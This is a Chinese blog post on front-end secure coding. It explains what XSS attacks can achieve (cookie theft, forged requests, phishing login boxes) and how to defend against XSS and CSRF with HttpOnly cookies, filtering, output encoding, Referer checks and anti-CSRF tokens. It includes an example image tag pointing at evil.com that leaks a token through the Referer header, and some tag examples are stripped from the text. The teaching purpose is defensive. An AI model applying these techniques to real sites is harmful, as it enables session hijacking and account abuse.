建议收藏 - 必须知道的4个前端安全编码规范(2)-CSDN博客

本文链接：https://blog.csdn.net/2401_84264630/article/details/138248994

通过伪装一些图片和按钮等，诱使用户对其操作，使网页执行了攻击者的恶意脚本，使攻击者能够获取当前用户的Cookie信息

2.构造GET和POST请求

若某攻击者想删除某网站的一篇文章，首先获得当前文章的id，然后通过使用脚本插入图片发送一个GET请求，或构造表单，XMLHTTPRequest发送POST请求以达到删除该文章的目的

3.XSS钓鱼

钓鱼这个词一般认识是起源于社会工程学，黑客使用这个这门学科的理念思想，在未授权不知情的情况下诱骗用户，并得到对方对方的姓名、年龄、邮箱账号、甚至是银行卡密码等私人信息。

比如：“某用户在某网站（已被攻击）上操作黑客伪造的一个登录框，当用户在登录框中输入了用户名（这里可能是身份证号等）和密码之后，将其信息上传至黑客的服务器上（该用户的信息就已经从该网站泄漏）”

4.获取用户真实的IP地址

通过第三方软件获取，比如客户端安装了Java环境（JRE），则可通过调用Java Applet的接口获取客户端本地的IP地址

1.6 XSS的防御方式

1.HttpOnly

原理：浏览器禁止页面的Javascript访问带有HttpOnly属性的cookie。（实质解决的是：XSS后的cookie劫持攻击）如今已成为一种“标准”的做法

解决方案：

JavaEE给Cookie添加HttpOnly的方式为：

response.setHeader(“Set-Cookie”,“cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);

2.输入检查（XSS Filter）

原理：让一些基于特殊字符的攻击失效。（常见的Web漏洞如XSS、SQLInjection等，都要求攻击者构造一些特殊字符）

* 输入检查的逻辑，必须在服务端实现，因为客户端的检查也是很容易被攻击者绕过，现有的普遍做法是两端都做同样的检查，客户端的检查可以阻挡大部分误操作的正常用户，从而节约服务器的资源。

解决方案：

检查是否包含"JavaScript"，"“等敏感字符。以及对字符串中的<>:”&/'等特殊字符做处理

3.输出检查

原理：一般来说除了富文本输出之外，在变量输出到HTML页面时，使用编码或转义的方式来防御XSS攻击

解决方案：

* 针对HTML代码的编码方式：HtmlEncode

* PHP：htmlentities()和htmlspecialchars()两个函数

* Javascript：JavascriptEncode（需要使用""对特殊字符进行转义，同时要求输出的变量必须在引号内部）

* 在URL的path（路径）或者search（参数）中输出，使用URLEncode

4.更严格的做法

除了数字和字母外的所有字符，都使用十六进制的方式进行编码

2. 跨站点请求伪造（Cross Sites Request Forgery）

跨站点请求伪造，指利用用户身份操作用户账户的一种攻击方式，即攻击者诱使用户访问一个页面，就以该用户身份在第三方有害站点中执行了一次操作，泄露了用户的身份信息，接着攻击者就可以使用这个伪造的，但真实存在的身份信息，到某网站冒充用户执行恶意操作。

但是，攻击者只有预测到URL的所有参数与参数值，才能成功地伪造一个请求（当然了，他可以在安全站点里以自己的身份实际去操作一下，还是能拿到参数的）；反之，攻击者无法攻击成功

下图通俗解释什么是CSRF，又是如何给用户带来危害的

参考上图，我们可以总结，完成一次CSRF攻击，必须满足两个条件

用户登录受信任网站A，并且在本地生成Cookie
在不登出网站A的情况下，访问有害网站B

2.1 CSRF的原理

CSRF攻击是攻击者利用**用户身份**操作用户账户的一种攻击方式

如电影速度与激情5中吉赛尔使用内裤获取巴西大佬指纹，最后成功使用伪造指纹的手法打开保险柜，CSRF只不过是网络上这个手法的实现。

2.2 CSRF的攻击方式

1.浏览器的Cookie策略

浏览器所持有的策略一般分为两种：

Session Cookie，临时Cookie。保存在浏览器进程的内存中，浏览器关闭了即失效。

Third-party Cookie，本地Cookie。服务器在Set-Cookie时指定了Expire Time。过期了本地Cookie失效，则网站会要求用户重新登录。

* 在浏览网站的过程中，即使浏览器打开了Tab页，Session Cookie都是有效的，因此发起CSRF攻击是可行的。

2.P3P头的副作用

"P3P Header"是 “W3C” 制定的一项关于隐私的标准，全称是 “The Platform for Privacy Preference”（隐私偏好平台）

如果网站返回给浏览器的 HTTP 头包含有 P3P 头，则在某种程度上来说，将允许浏览器发送第三方 Cookie。在 IE 下即使是""、<script>等标签页将不再拦截第三方 Cookie 的发送。主要应用在类似广告等需要跨域访问的页面。

3.GET，POST请求

* 这里有个误区

大多数 CSRF 攻击，都是通过、、

构造一个 POST 请求，只需要在一个不可见的iframe窗口中，构造一个form表单，然后使用JavaScript自动提交这个表单。那么整个自动提交表单的过程，对于用户来说就是不可见的。

2.3 CSRF的防御方式

1.验证码

原理：

CSRF攻击过程中，用户在不知情的情况下构造了网络请求，添加验证码后，强制用户必须与应用进行交互

* 优点：简洁而有效

* 缺点：网站不能给所有的操作都加上验证码

2.Referer Check

原理：

* 利用HTTP头中的Referer判断请求来源是否合法

* Referer首部包含了当前请求页面的来源页面的地址，一般情况下Referer的来源页就是发起请求的那个页面，如果是在iframe中发起的请求，那么对应的页面URL就是iframe的src

* 优点：简单易操作（只需要在最后给所有安全敏感的请求统一添加一个拦截器来检查Referer的值就行）

* 缺点：服务器并非什么时候都能取到Referer

1.很多出于保护用户隐私的考虑，限制了Referer的发送。

2.比如从HTTPS跳转到HTTP，出于安全的考虑，浏览器不会发送Referer

3.使用Anti CSRF Token

原理：把参数加密，或者使用一些随机数，从而让攻击者无法猜测到参数值，也就无法构造请求的 URL，也就无法发起 CSRF 攻击。

例子（增加token）：

* 比如一个删除操作的URL是：http://host/path/delete?uesrname=abc&item=123

* 保持原参数不变，新增一个参数Token，Token值是随机的，不可预测

* http://host/path/delete?username=abc&item=123&token=[random(seed)]

* 优点：比检查Referer方法更安全，并且不涉及用户隐私

* 缺点：

加密

1. 加密后的URL非常难读，对用户非常不友好

2. 加密的参数每次都在改变，导致用户无法对页面进行搜索

3. 普通参数也会被加密或哈希，将会给DBA工作带来很大的困扰，因为数据分析常常需要用到参数的明文

token

1. 对所有的请求都添加Token比较困难

需要注意的点

Token需要足够随机，必须用足够安全的随机数生成算法
Token应该为用户和服务器所共同持有，不能被第三方知晓
Token可以放在用户的Session或者浏览器的Cookie中
尽量把Token放在表单中，把敏感操作由GET改为POST，以form表单的形式提交，可以避免Token泄露（比如一个页面：http://host/path/manage?username=abc&token=[random]，在此页面用户需要在这个页面提交表单或者单击“删除”按钮，才能完成删除操作，在这种场景下，如果这个页面包含了一张攻击者能指定地址的图片<img src="http://evil.com/notexist" />，则这个页面地址会作为HTTP请求的Refer发送到evil.com的服务器上，从而导致Token泄露）